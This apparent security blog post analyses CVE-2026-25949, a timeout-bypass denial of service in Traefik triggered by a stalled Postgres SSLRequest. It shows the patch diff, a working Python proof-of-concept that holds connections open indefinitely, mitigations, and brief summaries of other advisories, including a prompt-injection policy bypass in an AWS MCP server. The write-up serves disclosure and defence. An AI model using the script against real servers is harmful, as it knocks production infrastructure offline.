Feb 12, 2026·6 min read·36 visits
A Denial of Service (DoS) vulnerability exists in Traefik versions prior to 3.6.8. By sending a Postgres SSLRequest header (`0x0000000804D2162F`) and then stalling, an attacker can bypass the `readTimeout` setting. Traefik indefinitely waits for a TLS ClientHello that never comes, leading to resource exhaustion.
Traefik, the ubiquitous cloud-native edge router, has a nasty habit of trusting Postgres connections too early. CVE-2026-25949 allows an unauthenticated attacker to bypass configured read timeouts by initiating a Postgres STARTTLS handshake and then simply... stopping. By sending a specific 8-byte sequence, an attacker can trick Traefik into removing its safety deadlines, causing the server to hold the connection open indefinitely. A few thousand of these 'zombie' connections are enough to exhaust file descriptors and goroutines, effectively bricking the load balancer.
Traefik is the Swiss Army knife of modern infrastructure. It doesn't just shuffle HTTP requests; it handles TCP, UDP, and does fancy things like SNI routing and protocol detection. To make this magic happen, Traefik often has to 'peek' at the first few bytes of a TCP stream to decide where to send the traffic. It's like a bouncer checking your ID before deciding if you go to the VIP lounge or the dive bar downstairs.
But here's the catch with protocol parsers: they are notoriously fragile state machines. When Traefik is configured to handle Postgres traffic, it looks for a specific handshake—the STARTTLS request. The logic is supposed to be: 'Oh, you speak Postgres? Let me upgrade this connection to TLS for you.'
In CVE-2026-25949, the logic flaw isn't in the parsing itself, but in the trust Traefik grants the connection once it recognizes that handshake. It's the digital equivalent of a bouncer letting you in because you look like a celebrity, only to realize you're just standing in the hallway blocking everyone else, and he's legally not allowed to kick you out.
In Go networking, timeouts are your lifeline. You set a SetReadDeadline so that if a client connects but says nothing, the server kills the connection after a few seconds. This prevents 'Slowloris' style attacks. Traefik has a configuration specifically for this called respondingTimeouts.readTimeout.
The vulnerability lies in how Traefik handled the transition from a raw TCP connection to a Postgres-specific handler. When Traefik's TCP router peeked at the bytes and saw the Postgres SSLRequest magic bytes (0x0000000804D2162F), it immediately decided, 'Okay, we are doing a TLS handshake now. Handshakes can take time, so let's disable the generic read timeout.'
Crucially, it disabled the timeout before the TLS handshake actually completed. It cleared the deadline (conn.SetDeadline(time.Time{})) the moment it saw the Postgres bytes. This created a window where the connection had no timeout enforcement whatsoever. If the attacker sends the magic bytes and then simply goes to sleep, Traefik waits. And waits. And waits. Forever.
Let's look at the actual code change in commit 31e566e9f1d7888ccb6fbc18bfed427203c35678. The vulnerability lived in pkg/server/router/tcp/router.go. The developers were too eager to clear the deadline.
The Vulnerable Code (Before):
// pkg/server/router/tcp/router.go
if postgres {
// DANGER: Clearing the deadline immediately upon detection!
if err := conn.SetDeadline(time.Time{}); err != nil {
log.Error().Err(err).Msg("Error while setting deadline")
}
// Hand off to the Postgres handler
r.servePostgres(r.GetConn(conn, getPeeked(br)))
return
}The fix was simple but critical: move the deadline removal inside the servePostgres function, and only execute it after the ClientHello has been successfully parsed. This ensures that the time spent waiting for the client to send the TLS Hello is still governed by the read timeout.
The Fix (After):
// pkg/server/router/tcp/postgres.go
func (r *Router) servePostgres(conn net.Conn) {
// ... code to write 'S' response ...
// Wait for the ClientHello (still under the original timeout)
hello, err := clientHelloInfo(br)
if err != nil {
conn.Close()
return
}
// SAFE: Only clear the deadline AFTER we have a valid handshake
if err := conn.SetDeadline(time.Time{}); err != nil {
log.Error().Err(err).Msg("Error while setting deadline")
}
// ... proceed with routing ...
}Exploiting this is trivially easy. You don't need shellcode. You don't need complex heap grooming. You just need Python and a socket. The attack works by emulating the first half of a Postgres handshake and then ghosting the server.
Here is the attack logic:
\x00\x00\x00\x08\x04\xd2\x16\x2f.S from Traefik (confirming it's ready for SSL).Because Traefik has cleared the deadline, this connection is now immortal. It consumes a file descriptor and a goroutine. If you spawn 5,000 of these concurrent connections, you will hit the operating system's ulimit -n (file descriptor limit) or exhaust RAM via goroutine stack allocation. The server stops accepting new connections. Game over.
import socket
import time
# The Magic Bytes: Length (8) + Protocol (SSLRequest)
POSTGRES_MAGIC = b'\x00\x00\x00\x08\x04\xd2\x16\x2f'
def zombie_connection(target, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(POSTGRES_MAGIC)
# Read the 'S' response
s.recv(1)
# Now we sleep forever, holding the FD open
while True:
time.sleep(60)You might think, "It's just a DoS, it's not data theft." While true, for a component like Traefik—which sits at the edge of your infrastructure—availability is the single most important metric. If Traefik goes down, everything behind it goes dark.
This attack is particularly dangerous because it is asymmetric. The attacker uses negligible bandwidth and CPU. They send 8 bytes and sleep. The victim, however, holds expensive resources. A single attacker with a laptop on a residential connection can topple a production-grade cluster if connection limits aren't strictly enforced at the firewall level.
Furthermore, because the connection is technically 'established' and idle, it might fly under the radar of simplistic WAFs or rate limiters that only look for high-volume HTTP requests. It looks like a slow DB connection, which is common in many environments.
The immediate fix is to upgrade to Traefik v3.6.8. This version correctly defers the deadline removal until the handshake is complete.
If you cannot upgrade immediately, your mitigation options are limited but helpful:
maxConnections on your entrypoints. While an attacker can still fill this table, it prevents the process from crashing entirely due to OOM or FD exhaustion, potentially preserving other entrypoints.ESTABLISHED state that have zero throughput.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Traefik Traefik Labs | < 3.6.8 | 3.6.8 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-400 (Uncontrolled Resource Consumption) |
| Attack Vector | Network (Remote) |
| CVSS v3.1 | 7.5 (High) |
| Impact | Denial of Service (DoS) |
| Affected Protocol | TCP (Postgres STARTTLS) |
| Patch Commit | 31e566e9f1d7888ccb6fbc18bfed427203c35678 |
The software does not properly control the allocation and maintenance of a limited resource thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.
An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.
A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.
OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.
An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.
A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.
An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.